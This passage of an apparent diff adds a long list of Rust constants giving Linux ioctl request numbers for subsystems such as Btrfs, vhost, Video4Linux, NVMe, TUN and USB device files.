++pub const BTRFS_IOC_TREE_SEARCH_V2: u32 = 3228603409;
++pub const VHOST_SET_VRING_BASE: u32 = 1074310930;
++pub const RIO_ENABLE_DOORBELL_RANGE: u32 = 1074294025;
++pub const VIDIOC_TRY_EXT_CTRLS: u32 = 3223344713;
++pub const LIRC_GET_REC_MODE: u32 = 2147772674;
++pub const PPGETTIME: u32 = 2148561045;
++pub const BTRFS_IOC_RM_DEV: u32 = 1342215179;
++pub const ATM_SETBACKEND: u32 = 1073897970;
++pub const FSL_HV_IOCTL_PARTITION_START: u32 = 3222318851;
++pub const FBIO_WAITEVENT: u32 = 18056;
++pub const SWITCHTEC_IOCTL_PORT_TO_PFF: u32 = 3222034245;
++pub const NVME_IOCTL_IO_CMD: u32 = 3225964099;
++pub const IPMICTL_RECEIVE_MSG_TRUNC: u32 = 3224398091;
++pub const FDTWADDLE: u32 = 601;
++pub const NVME_IOCTL_SUBMIT_IO: u32 = 1076907586;
++pub const NILFS_IOCTL_SYNC: u32 = 2148036234;
++pub const VIDIOC_SUBDEV_S_DV_TIMINGS: u32 = 3229898327;
++pub const ASPEED_LPC_CTRL_IOCTL_GET_SIZE: u32 = 3222319616;
++pub const DM_DEV_STATUS: u32 = 3241737479;
++pub const TEE_IOC_CLOSE_SESSION: u32 = 2147787781;
++pub const NS_GETPSTAT: u32 = 3222298977;
++pub const UI_SET_PROPBIT: u32 = 1074025838;
++pub const TUNSETFILTEREBPF: u32 = 2147767521;
++pub const RIO_MPORT_MAINT_COMPTAG_SET: u32 = 1074031874;
++pub const AUTOFS_DEV_IOCTL_VERSION: u32 = 3222836081;
++pub const WDIOC_SETOPTIONS: u32 = 2147768068;
++pub const VHOST_SCSI_SET_ENDPOINT: u32 = 1088991040;
++pub const MGSL_IOCGTXIDLE: u32 = 27907;
++pub const ATM_ADDLECSADDR: u32 = 1074815374;
++pub const FSL_HV_IOCTL_GETPROP: u32 = 3223891719;
++pub const FDGETPRM: u32 = 2149581316;
++pub const HIDIOCAPPLICATION: u32 = 18434;
++pub const ENI_MEMDUMP: u32 = 1074815328;
++pub const PTP_SYS_OFFSET2: u32 = 1128283406;
++pub const VIDIOC_SUBDEV_G_DV_TIMINGS: u32 = 3229898328;
++pub const DMA_BUF_SET_NAME_A: u32 = 1074029057;
++pub const PTP_PIN_GETFUNC: u32 = 3227532550;
++pub const PTP_SYS_OFFSET_EXTENDED: u32 = 3300932873;
++pub const DFL_FPGA_PORT_UINT_SET_IRQ: u32 = 1074312776;
++pub const RTC_EPOCH_READ: u32 = 2148036621;
++pub const VIDIOC_SUBDEV_S_SELECTION: u32 = 3225441854;
++pub const VIDIOC_QUERY_EXT_CTRL: u32 = 3236451943;
++pub const ATM_GETLECSADDR: u32 = 1074815376;
++pub const FSL_HV_IOCTL_PARTITION_STOP: u32 = 3221794564;
++pub const SONET_GETDIAG: u32 = 2147770644;
++pub const ATMMPC_DATA: u32 = 25049;
++pub const IPMICTL_UNREGISTER_FOR_CMD_CHANS: u32 = 2148296989;
++pub const HIDIOCGCOLLECTIONINDEX: u32 = 1075333136;
++pub const RPMSG_CREATE_EPT_IOCTL: u32 = 1076409601;
++pub const GPIOHANDLE_GET_LINE_VALUES_IOCTL: u32 = 3225465864;
++pub const UI_DEV_SETUP: u32 = 1079792899;
++pub const ISST_IF_IO_CMD: u32 = 1074331138;
++pub const RIO_MPORT_MAINT_READ_REMOTE: u32 = 2149084423;
++pub const VIDIOC_OMAP3ISP_HIST_CFG: u32 = 3224393412;
++pub const BLKGETNRZONES: u32 = 2147750533;
++pub const VIDIOC_G_MODULATOR: u32 = 3225703990;
++pub const VBG_IOCTL_WRITE_CORE_DUMP: u32 = 3223082515;
++pub const USBDEVFS_SETINTERFACE: u32 = 2148029700;
++pub const PPPIOCGCHAN: u32 = 2147775543;
++pub const EVIOCGVERSION: u32 = 2147763457;
++pub const VHOST_NET_SET_BACKEND: u32 = 1074310960;
++pub const USBDEVFS_REAPURBNDELAY: u32 = 1074287885;
++pub const RNDZAPENTCNT: u32 = 20996;
++pub const VIDIOC_G_PARM: u32 = 3234616853;
++pub const TUNGETDEVNETNS: u32 = 21731;
++pub const LIRC_SET_MEASURE_CARRIER_MODE: u32 = 1074030877;
++pub const VHOST_SET_VRING_ERR: u32 = 1074310946;
++pub const VDUSE_VQ_SETUP: u32 = 1075872020;
++pub const AUTOFS_IOC_SETTIMEOUT: u32 = 3221787492;
++pub const VIDIOC_S_FREQUENCY: u32 = 1076647481;
++pub const F2FS_IOC_SEC_TRIM_FILE: u32 = 1075377428;
++pub const FS_IOC_REMOVE_ENCRYPTION_KEY: u32 = 3225445912;
++pub const WDIOC_GETPRETIMEOUT: u32 = 2147768073;
++pub const USBDEVFS_DROP_PRIVILEGES: u32 = 1074025758;
++pub const BTRFS_IOC_SNAP_CREATE_V2: u32 = 1342215191;
++pub const VHOST_VSOCK_SET_RUNNING: u32 = 1074048865;
++pub const STP_SET_OPTIONS: u32 = 1074275586;
++pub const FBIO_RADEON_GET_MIRROR: u32 = 2148024323;
++pub const IVTVFB_IOC_DMA_FRAME: u32 = 1075336896;
++pub const IPMICTL_SEND_COMMAND: u32 = 2150131981;
++pub const VIDIOC_G_ENC_INDEX: u32 = 2283296332;
++pub const DFL_FPGA_FME_PORT_PR: u32 = 46720;
++pub const CHIOSVOLTAG: u32 = 1076912914;
++pub const ATM_SETESIF: u32 = 1074815373;
++pub const FW_CDEV_IOC_SEND_RESPONSE: u32 = 1075323652;
++pub const PMU_IOC_GET_MODEL: u32 = 2148024835;
++pub const JSIOCGBTNMAP: u32 = 2214619700;
++pub const USBDEVFS_HUB_PORTINFO: u32 = 2155894035;
++pub const VBG_IOCTL_INTERRUPT_ALL_WAIT_FOR_EVENTS: u32 = 3222820363;
++pub const FDCLRPRM: u32 = 577;
++pub const BTRFS_IOC_SCRUB: u32 = 3288372251;
++pub const USBDEVFS_DISCONNECT: u32 = 21782;
++pub const TUNSETVNETBE: u32 = 1074025694;
++pub const ATMTCP_REMOVE: u32 = 24975;
++pub const VHOST_VDPA_GET_CONFIG: u32 = 2148052851;
++pub const PPPIOCGNPMODE: u32 = 3221779532;
++pub const FDGETDRVPRM: u32 = 2155872785;
++pub const TUNSETVNETLE: u32 = 1074025692;
++pub const PHN_SETREG: u32 = 1074294790;
++pub const PPPIOCDETACH: u32 = 1074033724;
++pub const MMTIMER_GETRES: u32 = 2148035841;
++pub const VIDIOC_SUBDEV_ENUMSTD: u32 = 3225966105;
++pub const PPGETFLAGS: u32 = 2147774618;
++pub const VDUSE_DEV_GET_FEATURES: u32 = 2148040977;
++pub const CAPI_MANUFACTURER_CMD: u32 = 3222291232;
++pub const VIDIOC_G_TUNER: u32 = 3226752541;
++pub const DM_TABLE_STATUS: u32 = 3241737484;
++pub const DM_DEV_ARM_POLL: u32 = 3241737488;
++pub const NE_CREATE_VM: u32 = 2148052512;
++pub const MEDIA_IOC_ENUM_LINKS: u32 = 3223878658;
++pub const F2FS_IOC_PRECACHE_EXTENTS: u32 = 62735;
++pub const DFL_FPGA_PORT_DMA_MAP: u32 = 46659;
++pub const MGSL_IOCGXCTRL: u32 = 27926;
++pub const FW_CDEV_IOC_SEND_REQUEST: u32 = 1076372225;
++pub const SONYPI_IOCGBLUE: u32 = 2147579400;
++pub const F2FS_IOC_DECOMPRESS_FILE: u32 = 62743;
++pub const I2OHTML: u32 = 3224398089;
++pub const VFIO_GET_API_VERSION: u32 = 15204;
++pub const IDT77105_GETSTATZ: u32 = 1074815283;
++pub const I2OPARMSET: u32 = 3223873795;
++pub const TEE_IOC_CANCEL: u32 = 2148049924;
++pub const PTP_SYS_OFFSET_PRECISE2: u32 = 3225435409;
++pub const DFL_FPGA_PORT_RESET: u32 = 46656;
++pub const PPPIOCGASYNCMAP: u32 = 2147775576;
++pub const EVIOCGKEYCODE_V2: u32 = 2150122756;
++pub const DM_DEV_SET_GEOMETRY: u32 = 3241737487;
++pub const HIDIOCSUSAGE: u32 = 1075333132;
++pub const FW_CDEV_IOC_DEALLOCATE_ISO_RESOURCE_ONCE: u32 = 1075323664;
++pub const PTP_EXTTS_REQUEST: u32 = 1074806018;
++pub const SWITCHTEC_IOCTL_EVENT_CTL: u32 = 3223869251;
++pub const WDIOC_SETPRETIMEOUT: u32 = 3221509896;
++pub const VHOST_SCSI_CLEAR_ENDPOINT: u32 = 1088991041;
++pub const JSIOCGAXES: u32 = 2147576337;
++pub const HIDIOCSFLAG: u32 = 1074022415;
++pub const PTP_PEROUT_REQUEST2: u32 = 1077427468;
++pub const PPWDATA: u32 = 1073836166;
++pub const PTP_CLOCK_GETCAPS: u32 = 2152742145;
++pub const FDGETMAXERRS: u32 = 2148794894;
++pub const TUNSETQUEUE: u32 = 1074025689;
++pub const PTP_ENABLE_PPS: u32 = 1074019588;
++pub const SIOCSIFATMTCP: u32 = 24960;
++pub const CEC_ADAP_G_LOG_ADDRS: u32 = 2153537795;
++pub const ND_IOCTL_ARS_CAP: u32 = 3223342593;
++pub const NBD_SET_BLKSIZE: u32 = 43777;
++pub const NBD_SET_TIMEOUT: u32 = 43785;
++pub const VHOST_SCSI_GET_ABI_VERSION: u32 = 1074048834;
++pub const RIO_UNMAP_INBOUND: u32 = 1074294034;
++pub const ATM_QUERYLOOP: u32 = 1074815316;
++pub const DFL_FPGA_GET_API_VERSION: u32 = 46592;
++pub const USBDEVFS_WAIT_FOR_RESUME: u32 = 21795;
++pub const FBIO_CURSOR: u32 = 3228059144;
++pub const RNDCLEARPOOL: u32 = 20998;
++pub const VIDIOC_QUERYSTD: u32 = 2148030015;
++pub const DMA_BUF_IOCTL_SYNC: u32 = 1074291200;
++pub const SCIF_RECV: u32 = 3222827783;
++pub const PTP_PIN_GETFUNC2: u32 = 3227532559;
++pub const FW_CDEV_IOC_ALLOCATE: u32 = 3223331586;
++pub const CEC_ADAP_G_CAPS: u32 = 3226231040;
++pub const VIDIOC_G_FBUF: u32 = 2150651402;
++pub const PTP_ENABLE_PPS2: u32 = 1074019597;
++pub const PCITEST_CLEAR_IRQ: u32 = 20496;
++pub const IPMICTL_SET_GETS_EVENTS_CMD: u32 = 2147772688;
++pub const BTRFS_IOC_DEVICES_READY: u32 = 2415957031;
++pub const JSIOCGAXMAP: u32 = 2151705138;
++pub const FW_CDEV_IOC_GET_CYCLE_TIMER: u32 = 2148541196;
++pub const FW_CDEV_IOC_SET_ISO_CHANNELS: u32 = 1074799383;
++pub const RTC_WIE_OFF: u32 = 28688;
++pub const PPGETMODE: u32 = 2147774616;
++pub const VIDIOC_DBG_G_REGISTER: u32 = 3224917584;
++pub const PTP_SYS_OFFSET: u32 = 1128283397;
++pub const BTRFS_IOC_SPACE_INFO: u32 = 3222311956;
++pub const VIDIOC_SUBDEV_ENUM_FRAME_SIZE: u32 = 3225441866;
++pub const ND_IOCTL_VENDOR: u32 = 3221769737;
++pub const SCIF_VREADFROM: u32 = 3223876364;
++pub const BTRFS_IOC_TRANS_START: u32 = 37894;
++pub const INOTIFY_IOC_SETNEXTWD: u32 = 1074022656;
++pub const SNAPSHOT_GET_IMAGE_SIZE: u32 = 2148021006;
++pub const TUNDETACHFILTER: u32 = 1074812118;
++pub const ND_IOCTL_CLEAR_ERROR: u32 = 3223342596;
++pub const IOC_PR_CLEAR: u32 = 1074819277;
++pub const SCIF_READFROM: u32 = 3223876362;
++pub const PPPIOCGDEBUG: u32 = 2147775553;
++pub const BLKGETZONESZ: u32 = 2147750532;
++pub const HIDIOCGUSAGES: u32 = 3491514387;
++pub const SONYPI_IOCGTEMP: u32 = 2147579404;
++pub const UI_SET_MSCBIT: u32 = 1074025832;
++pub const APM_IOC_SUSPEND: u32 = 16642;
++pub const BTRFS_IOC_TREE_SEARCH: u32 = 3489698833;
++pub const RTC_PLL_GET: u32 = 2149609489;
++pub const RIO_CM_EP_GET_LIST: u32 = 3221512962;
++pub const USBDEVFS_DISCSIGNAL: u32 = 2148553998;
++pub const LIRC_GET_MIN_TIMEOUT: u32 = 2147772680;
++pub const SWITCHTEC_IOCTL_EVENT_SUMMARY_LEGACY: u32 = 2174244674;
++pub const DM_TARGET_MSG: u32 = 3241737486;
++pub const SONYPI_IOCGBAT1REM: u32 = 2147644931;
++pub const EVIOCSFF: u32 = 1076905344;
++pub const TUNSETGROUP: u32 = 1074025678;
++pub const EVIOCGKEYCODE: u32 = 2148025604;
++pub const KCOV_REMOTE_ENABLE: u32 = 1075340134;
++pub const ND_IOCTL_GET_CONFIG_SIZE: u32 = 3222031876;
++pub const FDEJECT: u32 = 602;
++pub const TUNSETOFFLOAD: u32 = 1074025680;
++pub const PPPIOCCONNECT: u32 = 1074033722;
++pub const ATM_ADDADDR: u32 = 1074815368;
++pub const VDUSE_DEV_INJECT_CONFIG_IRQ: u32 = 33043;
++pub const AUTOFS_DEV_IOCTL_ASKUMOUNT: u32 = 3222836093;
++pub const VHOST_VDPA_GET_STATUS: u32 = 2147594097;
++pub const CCISS_PASSTHRU: u32 = 3227009547;
++pub const MGSL_IOCCLRMODCOUNT: u32 = 27919;
++pub const TEE_IOC_SUPPL_SEND: u32 = 2148574215;
++pub const ATMARPD_CTRL: u32 = 25057;
++pub const UI_ABS_SETUP: u32 = 1075598596;
++pub const UI_DEV_DESTROY: u32 = 21762;
++pub const BTRFS_IOC_QUOTA_CTL: u32 = 3222311976;
++pub const RTC_AIE_ON: u32 = 28673;
++pub const AUTOFS_IOC_EXPIRE: u32 = 2165085029;
++pub const PPPIOCSDEBUG: u32 = 1074033728;
++pub const GPIO_V2_LINE_SET_VALUES_IOCTL: u32 = 3222320143;
++pub const PPPIOCSMRU: u32 = 1074033746;
++pub const CCISS_DEREGDISK: u32 = 16908;
++pub const UI_DEV_CREATE: u32 = 21761;
++pub const FUSE_DEV_IOC_CLONE: u32 = 2147804416;
++pub const BTRFS_IOC_START_SYNC: u32 = 2148045848;
++pub const NILFS_IOCTL_DELETE_CHECKPOINT: u32 = 1074294401;
++pub const SNAPSHOT_AVAIL_SWAP_SIZE: u32 = 2148021011;
++pub const DM_TABLE_CLEAR: u32 = 3241737482;
++pub const CCISS_GETINTINFO: u32 = 2148024834;
++pub const PPPIOCSASYNCMAP: u32 = 1074033751;
++pub const I2OEVTGET: u32 = 2154326283;
++pub const NVME_IOCTL_RESET: u32 = 20036;
++pub const PPYIELD: u32 = 28813;
++pub const NVME_IOCTL_IO64_CMD: u32 = 3226488392;
++pub const TUNSETCARRIER: u32 = 1074025698;
++pub const DM_DEV_WAIT: u32 = 3241737480;
++pub const RTC_WIE_ON: u32 = 28687;
++pub const MEDIA_IOC_DEVICE_INFO: u32 = 3238034432;
++pub const RIO_CM_CHAN_CREATE: u32 = 3221381891;
++pub const MGSL_IOCSPARAMS: u32 = 1076915456;
++pub const RTC_SET_TIME: u32 = 1076129802;
++pub const VHOST_RESET_OWNER: u32 = 44802;
++pub const IOC_OPAL_PSID_REVERT_TPR: u32 = 1091072232;
++pub const AUTOFS_DEV_IOCTL_OPENMOUNT: u32 = 3222836084;
++pub const UDF_GETEABLOCK: u32 = 2148035649;
++pub const VFIO_IOMMU_MAP_DMA: u32 = 15217;
++pub const VIDIOC_SUBSCRIBE_EVENT: u32 = 1075861082;
++pub const HIDIOCGFLAG: u32 = 2147764238;
++pub const HIDIOCGUCODE: u32 = 3222816781;
++pub const VIDIOC_OMAP3ISP_AF_CFG: u32 = 3226228421;
++pub const DM_REMOVE_ALL: u32 = 3241737473;
++pub const ASPEED_LPC_CTRL_IOCTL_MAP: u32 = 1074835969;
++pub const CCISS_GETFIRMVER: u32 = 2147762696;
++pub const ND_IOCTL_ARS_START: u32 = 3223342594;
++pub const PPPIOCSMRRU: u32 = 1074033723;
++pub const CEC_ADAP_S_LOG_ADDRS: u32 = 3227279620;
++pub const RPROC_GET_SHUTDOWN_ON_RELEASE: u32 = 2147792642;
++pub const DMA_HEAP_IOCTL_ALLOC: u32 = 3222816768;
++pub const PPSETTIME: u32 = 1074819222;
++pub const RTC_ALM_READ: u32 = 2149871624;
++pub const VDUSE_SET_API_VERSION: u32 = 1074299137;
++pub const RIO_MPORT_MAINT_WRITE_REMOTE: u32 = 1075342600;
++pub const VIDIOC_SUBDEV_S_CROP: u32 = 3224917564;
++pub const USBDEVFS_CONNECT: u32 = 21783;
++pub const SYNC_IOC_FILE_INFO: u32 = 3224911364;
++pub const ATMARP_MKIP: u32 = 25058;
++pub const VFIO_IOMMU_SPAPR_TCE_GET_INFO: u32 = 15216;
++pub const CCISS_GETHEARTBEAT: u32 = 2147762694;
++pub const ATM_RSTADDR: u32 = 1074815367;
++pub const NBD_SET_SIZE: u32 = 43778;
++pub const UDF_GETVOLIDENT: u32 = 2148035650;
++pub const GPIO_V2_LINE_GET_VALUES_IOCTL: u32 = 3222320142;
++pub const MGSL_IOCSTXIDLE: u32 = 27906;
++pub const FSL_HV_IOCTL_SETPROP: u32 = 3223891720;
++pub const BTRFS_IOC_GET_DEV_STATS: u32 = 3288896564;
++pub const PPRSTATUS: u32 = 2147577985;
++pub const MGSL_IOCTXENABLE: u32 = 27908;
++pub const UDF_GETEASIZE: u32 = 2147773504;
++pub const NVME_IOCTL_ADMIN64_CMD: u32 = 3226488391;
++pub const VHOST_SET_OWNER: u32 = 44801;
++pub const RIO_ALLOC_DMA: u32 = 3222826259;
++pub const RIO_CM_CHAN_ACCEPT: u32 = 3221775111;
++pub const I2OHRTGET: u32 = 3222825217;
++pub const ATM_SETCIRANGE: u32 = 1074815371;
++pub const HPET_IE_ON: u32 = 26625;
++pub const PERF_EVENT_IOC_ID: u32 = 2148017159;
++pub const TUNSETSNDBUF: u32 = 1074025684;
++pub const PTP_PIN_SETFUNC: u32 = 1080048903;
++pub const PPPIOCDISCONN: u32 = 29753;
++pub const VIDIOC_QUERYCTRL: u32 = 3225703972;
++pub const PPEXCL: u32 = 28815;
++pub const PCITEST_MSI: u32 = 1074024451;
++pub const FDWERRORCLR: u32 = 598;
++pub const AUTOFS_IOC_FAIL: u32 = 37729;
++pub const USBDEVFS_IOCTL: u32 = 3222295826;
++pub const VIDIOC_S_STD: u32 = 1074288152;
++pub const F2FS_IOC_RESIZE_FS: u32 = 1074328848;
++pub const SONET_SETDIAG: u32 = 3221512466;
++pub const BTRFS_IOC_DEFRAG: u32 = 1342215170;
++pub const CCISS_GETDRIVVER: u32 = 2147762697;
++pub const IPMICTL_GET_TIMING_PARMS_CMD: u32 = 2148034839;
++pub const HPET_IRQFREQ: u32 = 1074292742;
++pub const ATM_GETESI: u32 = 1074815365;
++pub const CCISS_GETLUNINFO: u32 = 2148286993;
++pub const AUTOFS_DEV_IOCTL_ISMOUNTPOINT: u32 = 3222836094;
++pub const TEE_IOC_SHM_ALLOC: u32 = 3222316033;
++pub const PERF_EVENT_IOC_SET_BPF: u32 = 1074013192;
++pub const UDMABUF_CREATE_LIST: u32 = 1074296131;
++pub const VHOST_SET_LOG_BASE: u32 = 1074310916;
++pub const ZATM_GETPOOL: u32 = 1074815329;
++pub const BR2684_SETFILT: u32 = 1075601808;
++pub const RNDGETPOOL: u32 = 2148028930;
++pub const PPS_GETPARAMS: u32 = 2148036769;
++pub const IOC_PR_RESERVE: u32 = 1074819273;
++pub const VIDIOC_TRY_DECODER_CMD: u32 = 3225966177;
++pub const RIO_CM_CHAN_CLOSE: u32 = 1073898244;
++pub const VIDIOC_DV_TIMINGS_CAP: u32 = 3230684772;
++pub const IOCTL_MEI_CONNECT_CLIENT_VTAG: u32 = 3222554628;
++pub const PMU_IOC_GET_BACKLIGHT: u32 = 2148024833;
++pub const USBDEVFS_GET_CAPABILITIES: u32 = 2147767578;
++pub const SCIF_WRITETO: u32 = 3223876363;
++pub const UDF_RELOCATE_BLOCKS: u32 = 3221777475;
++pub const FSL_HV_IOCTL_PARTITION_RESTART: u32 = 3221794561;
++pub const CCISS_REGNEWD: u32 = 16910;
++pub const FAT_IOCTL_SET_ATTRIBUTES: u32 = 1074033169;
++pub const VIDIOC_CREATE_BUFS: u32 = 3238024796;
++pub const CAPI_GET_VERSION: u32 = 3222291207;
++pub const SWITCHTEC_IOCTL_EVENT_SUMMARY: u32 = 2228770626;
++pub const VFIO_EEH_PE_OP: u32 = 15225;
++pub const FW_CDEV_IOC_CREATE_ISO_CONTEXT: u32 = 3223331592;
++pub const F2FS_IOC_RELEASE_COMPRESS_BLOCKS: u32 = 2148070674;
++pub const NBD_SET_SIZE_BLOCKS: u32 = 43783;
++pub const IPMI_BMC_IOCTL_SET_SMS_ATN: u32 = 45312;
++pub const ASPEED_P2A_CTRL_IOCTL_GET_MEMORY_CONFIG: u32 = 3222319873;
++pub const VIDIOC_S_AUDOUT: u32 = 1077171762;
++pub const VIDIOC_S_FMT: u32 = 3234878981;
++pub const PPPIOCATTACH: u32 = 1074033725;
++pub const VHOST_GET_VRING_BUSYLOOP_TIMEOUT: u32 = 1074310948;
++pub const FS_IOC_MEASURE_VERITY: u32 = 3221513862;
++pub const CCISS_BIG_PASSTHRU: u32 = 3227533842;
++pub const IPMICTL_SET_MY_LUN_CMD: u32 = 2147772691;
++pub const PCITEST_LEGACY_IRQ: u32 = 20482;
++pub const USBDEVFS_SUBMITURB: u32 = 2151175434;
++pub const AUTOFS_IOC_READY: u32 = 37728;
++pub const BTRFS_IOC_SEND: u32 = 1078498342;
++pub const VIDIOC_G_EXT_CTRLS: u32 = 3223344711;
++pub const JSIOCSBTNMAP: u32 = 1140877875;
++pub const PPPIOCSFLAGS: u32 = 1074033753;
++pub const NVRAM_INIT: u32 = 28736;
++pub const RFKILL_IOCTL_NOINPUT: u32 = 20993;
++pub const BTRFS_IOC_BALANCE: u32 = 1342215180;
++pub const FS_IOC_GETFSMAP: u32 = 3233830971;
++pub const IPMICTL_GET_MY_CHANNEL_LUN_CMD: u32 = 2147772699;
++pub const STP_POLICY_ID_GET: u32 = 2148541697;
++pub const PPSETFLAGS: u32 = 1074032795;
++pub const CEC_ADAP_S_PHYS_ADDR: u32 = 1073897730;
++pub const ATMTCP_CREATE: u32 = 24974;
++pub const IPMI_BMC_IOCTL_FORCE_ABORT: u32 = 45314;
++pub const PPPIOCGXASYNCMAP: u32 = 2149610576;
++pub const VHOST_SET_VRING_CALL: u32 = 1074310945;
++pub const LIRC_GET_FEATURES: u32 = 2147772672;
++pub const GSMIOC_DISABLE_NET: u32 = 18179;
++pub const AUTOFS_IOC_CATATONIC: u32 = 37730;
++pub const NBD_DO_IT: u32 = 43779;
++pub const LIRC_SET_REC_CARRIER_RANGE: u32 = 1074030879;
++pub const IPMICTL_GET_MY_CHANNEL_ADDRESS_CMD: u32 = 2147772697;
++pub const EVIOCSCLOCKID: u32 = 1074021792;
++pub const USBDEVFS_FREE_STREAMS: u32 = 2148029725;
++pub const FSI_SCOM_RESET: u32 = 1074033411;
++pub const PMU_IOC_GRAB_BACKLIGHT: u32 = 2148024838;
++pub const VIDIOC_SUBDEV_S_FMT: u32 = 3227014661;
++pub const FDDEFPRM: u32 = 1075839555;
++pub const TEE_IOC_INVOKE: u32 = 2148574211;
++pub const USBDEVFS_BULK: u32 = 3222820098;
++pub const SCIF_VWRITETO: u32 = 3223876365;
++pub const SONYPI_IOCSBRT: u32 = 1073837568;
++pub const BTRFS_IOC_FILE_EXTENT_SAME: u32 = 3222836278;
++pub const RTC_PIE_ON: u32 = 28677;
++pub const BTRFS_IOC_SCAN_DEV: u32 = 1342215172;
++pub const PPPIOCXFERUNIT: u32 = 29774;
++pub const WDIOC_GETTIMEOUT: u32 = 2147768071;
++pub const BTRFS_IOC_SET_RECEIVED_SUBVOL: u32 = 3234370597;
++pub const DFL_FPGA_PORT_ERR_SET_IRQ: u32 = 1074312774;
++pub const FBIO_WAITFORVSYNC: u32 = 1074021920;
++pub const RTC_PIE_OFF: u32 = 28678;
++pub const EVIOCGRAB: u32 = 1074021776;
++pub const PMU_IOC_SET_BACKLIGHT: u32 = 1074283010;
++pub const EVIOCGREP: u32 = 2148025603;
++pub const PERF_EVENT_IOC_MODIFY_ATTRIBUTES: u32 = 1074275339;
++pub const UFFDIO_CONTINUE: u32 = 3223366151;
++pub const VDUSE_GET_API_VERSION: u32 = 2148040960;
++pub const RTC_RD_TIME: u32 = 2149871625;
++pub const FDMSGOFF: u32 = 582;
++pub const IPMICTL_REGISTER_FOR_CMD_CHANS: u32 = 2148296988;
++pub const CAPI_GET_ERRCODE: u32 = 2147631905;
++pub const PCITEST_SET_IRQTYPE: u32 = 1074024456;
++pub const VIDIOC_SUBDEV_S_EDID: u32 = 3223868969;
++pub const MATROXFB_SET_OUTPUT_MODE: u32 = 1074294522;
++pub const RIO_DEV_ADD: u32 = 1075866903;
++pub const VIDIOC_ENUM_FREQ_BANDS: u32 = 3225441893;
++pub const FBIO_RADEON_SET_MIRROR: u32 = 1074282500;
++pub const PCITEST_GET_IRQTYPE: u32 = 20489;
++pub const JSIOCGVERSION: u32 = 2147772929;
++pub const SONYPI_IOCSBLUE: u32 = 1073837577;
++pub const SNAPSHOT_PREF_IMAGE_SIZE: u32 = 13074;
++pub const F2FS_IOC_GET_FEATURES: u32 = 2147808524;
++pub const SCIF_REG: u32 = 3223876360;
++pub const NILFS_IOCTL_CLEAN_SEGMENTS: u32 = 1081634440;
++pub const FW_CDEV_IOC_INITIATE_BUS_RESET: u32 = 1074012933;
++pub const RIO_WAIT_FOR_ASYNC: u32 = 1074294038;
++pub const VHOST_SET_VRING_NUM: u32 = 1074310928;
++pub const AUTOFS_DEV_IOCTL_PROTOVER: u32 = 3222836082;
++pub const RIO_FREE_DMA: u32 = 1074294036;
++pub const MGSL_IOCRXENABLE: u32 = 27909;
++pub const IOCTL_VM_SOCKETS_GET_LOCAL_CID: u32 = 1977;
++pub const IPMICTL_SET_TIMING_PARMS_CMD: u32 = 2148034838;
++pub const PPPIOCGL2TPSTATS: u32 = 2152231990;
++pub const PERF_EVENT_IOC_PERIOD: u32 = 1074275332;
++pub const PTP_PIN_SETFUNC2: u32 = 1080048912;
++pub const CHIOEXCHANGE: u32 = 1075602178;
++pub const NILFS_IOCTL_GET_SUINFO: u32 = 2149084804;
++pub const CEC_DQEVENT: u32 = 3226493191;
++pub const UI_SET_SWBIT: u32 = 1074025837;
++pub const VHOST_VDPA_SET_CONFIG: u32 = 1074311028;
++pub const TUNSETIFF: u32 = 1074025674;
++pub const CHIOPOSITION: u32 = 1074553603;
++pub const IPMICTL_SET_MAINTENANCE_MODE_CMD: u32 = 1074030879;
++pub const BTRFS_IOC_DEFAULT_SUBVOL: u32 = 1074304019;
++pub const RIO_UNMAP_OUTBOUND: u32 = 1076391184;
++pub const CAPI_CLR_FLAGS: u32 = 2147762981;
++pub const FW_CDEV_IOC_ALLOCATE_ISO_RESOURCE_ONCE: u32 = 1075323663;
++pub const MATROXFB_GET_OUTPUT_CONNECTION: u32 = 2148036344;
++pub const EVIOCSMASK: u32 = 1074808211;
++pub const BTRFS_IOC_FORGET_DEV: u32 = 1342215173;
++pub const CXL_MEM_QUERY_COMMANDS: u32 = 2148060673;
++pub const CEC_S_MODE: u32 = 1074028809;
++pub const MGSL_IOCSIF: u32 = 27914;
++pub const SWITCHTEC_IOCTL_PFF_TO_PORT: u32 = 3222034244;
++pub const PPSETMODE: u32 = 1074032768;
++pub const VFIO_DEVICE_SET_IRQS: u32 = 15214;
++pub const VIDIOC_PREPARE_BUF: u32 = 3227014749;
++pub const CEC_ADAP_G_CONNECTOR_INFO: u32 = 2151964938;
++pub const IOC_OPAL_WRITE_SHADOW_MBR: u32 = 1092645098;
++pub const VIDIOC_SUBDEV_ENUM_FRAME_INTERVAL: u32 = 3225441867;
++pub const UDMABUF_CREATE: u32 = 1075344706;
++pub const SONET_CLRDIAG: u32 = 3221512467;
++pub const PHN_SET_REG: u32 = 1074294785;
++pub const RNDADDTOENTCNT: u32 = 1074024961;
++pub const VBG_IOCTL_CHECK_BALLOON: u32 = 3223344657;
++pub const VIDIOC_OMAP3ISP_STAT_REQ: u32 = 3223869126;
++pub const PPS_FETCH: u32 = 3221778596;
++pub const RTC_AIE_OFF: u32 = 28674;
++pub const VFIO_GROUP_SET_CONTAINER: u32 = 15208;
++pub const FW_CDEV_IOC_RECEIVE_PHY_PACKETS: u32 = 1074275094;
++pub const VFIO_IOMMU_SPAPR_TCE_REMOVE: u32 = 15224;
++pub const VFIO_IOMMU_GET_INFO: u32 = 15216;
++pub const DM_DEV_SUSPEND: u32 = 3241737478;
++pub const F2FS_IOC_GET_COMPRESS_OPTION: u32 = 2147677461;
++pub const FW_CDEV_IOC_STOP_ISO: u32 = 1074012939;
++pub const GPIO_V2_GET_LINEINFO_IOCTL: u32 = 3238048773;
++pub const ATMMPC_CTRL: u32 = 25048;
++pub const PPPIOCSXASYNCMAP: u32 = 1075868751;
++pub const CHIOGSTATUS: u32 = 1074815752;
++pub const FW_CDEV_IOC_ALLOCATE_ISO_RESOURCE: u32 = 3222807309;
++pub const RIO_MPORT_MAINT_PORT_IDX_GET: u32 = 2147773699;
++pub const CAPI_SET_FLAGS: u32 = 2147762980;
++pub const VFIO_GROUP_GET_DEVICE_FD: u32 = 15210;
++pub const VHOST_SET_MEM_TABLE: u32 = 1074310915;
++pub const MATROXFB_SET_OUTPUT_CONNECTION: u32 = 1074294520;
++pub const DFL_FPGA_PORT_GET_REGION_INFO: u32 = 46658;
++pub const VHOST_GET_FEATURES: u32 = 2148052736;
++pub const LIRC_GET_REC_RESOLUTION: u32 = 2147772679;
++pub const PACKET_CTRL_CMD: u32 = 3222820865;
++pub const LIRC_SET_TRANSMITTER_MASK: u32 = 1074030871;
++pub const BTRFS_IOC_ADD_DEV: u32 = 1342215178;
++pub const JSIOCGCORR: u32 = 2149870114;
